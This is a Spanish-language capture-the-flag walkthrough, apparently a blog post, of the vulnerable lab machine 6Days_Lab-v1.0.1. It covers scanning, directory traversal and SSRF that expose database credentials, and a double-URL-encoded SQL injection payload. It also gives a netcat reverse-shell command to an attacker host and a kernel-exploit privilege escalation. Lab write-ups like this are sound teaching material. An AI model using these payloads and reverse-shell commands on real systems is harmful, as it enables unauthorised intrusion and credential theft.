Técnicas de Pentesting y Escalada de Privilegios en el Laboratorio 6Days_Lab-v1.0.1

Descubrimiento del host

Para identificar la máquina objetivo en la red, se utilizan herramientas de exploración de red y escaneo de servicios.


netdiscover -r 192.168.1.0/24

nmap -sV -A 192.168.1.105

Recopilación de información

El análisis revela servicios como OpenSSH 5.9p1, un servidor web Apache 2.2.22 con PHP 5.3.10, y un sistema operativo Linux con kernel entre versiones 3.x y 4.x. El sitio web aloja una página pricnipal denominada "Rashomon IPS".

Puntos de entrada externos

Ruta 1: Servicio OpenSSH

La versión de OpenSSH no presenta vulnerabilidades directamente explotables en este contexto.

Ruta 2: Aplicación web

Se procede con el reconocimiento y análisis de la aplicaicón web.

Enumeración de directorios


dirb http://192.168.1.105/

Se descubren endpoints como /config, /create y /server-status. La página principal promociona un sistema de prevención de intrusiones y ofrece un código promocional.

Análisis del código fuente

Se identifican dos funcionalidades clave: la verificación de códigos promocionales en checkpromo.php y la carga remota de imágenes mediante image.php.

Pruebas de funcionalidad

1. Endpoint de código promocional

Al probar la inyección SQL con comillas simples, se detecta una protección que filtra caracteres especiales.

2. Carga de imágenes remotas

Se explora la inclusión de archivos locales y remotos. Mediante directory traversal, se logra leer archivos de configuración del sistema, como config.php, que contiene credenciales de base de datos.


<?php
$host_db = "localhost";
$user_db = "products_user";
$pass_db = "secure_token_987";
$database = "inventory_db";
?>

Al revisar la configuración de Apache, se encuentra un virtual host en el puerto 8080 restringido a localhost.

Bypass del sistema de protección

Se identifica un punto de entrada adicional en el puerto 8080 accesible vía SSRF a través de image.php. Se realiza fuzzing para evadir filtros de caracteres y palabras clave.

Inyección SQL con evasión de codificación

Utilizando doble codificación URL, se construye una consulta SQL modificada para extraer datos de usuarios.


// Consulta original modificada para evasión
456'union select concat(user_name,'---',pass_key),1 from stored_items.users#
// Payload codificado
456%2527union%2520select%2520concat%2528user_name%252C%2527%252D%252D%252D%2527%252Cpass_key%2529%252C1%2520from%2520stored_items.users%2523

Se obtienen credenciales de acceso. El usuario resultante tiene permisos limitados, por lo que se establece una conexión inversa para obtener una shell interactiva.


// En máquina local
nc -lvp 9999

// En máquina objetivo
nc -e /bin/bash 192.168.1.50 9999

// Estabilización de la shell
python -c 'import pty;pty.spawn("/bin/bash")'

Escalada de privilegios

Se analizan permisos y versiones del sistema. El kernel Linux versión anterior a 4.9 permite la explotación de vulnerabilidades conocidas. Se compila y ejecuta un exploit adecuado para obtener acceso root.


// Búsqueda de exploits
searchsploit linux kernel 3.2
// Compilación y ejecución del exploit seleccionado
gcc exploit.c -o exploit && ./exploit

Tras obtener acceso root, se localiza una bandera en el directorio raíz del sistema.

Análisis adicional de archivos privilegiados

Durante la post-explotación, se identifica un binario con permisos SUID en el directorio de usuario. Mediante análisis estático, se determina que verifica el UID y GID del propietario antess de ejecutar funciones específicas. La manipulación de estos valores podría permitir la lectura de archivos restringidos.

Etiquetas: SQL injection file inclusion SSRF Linux privilege escalation Apache

Publicado el 6-11 20:33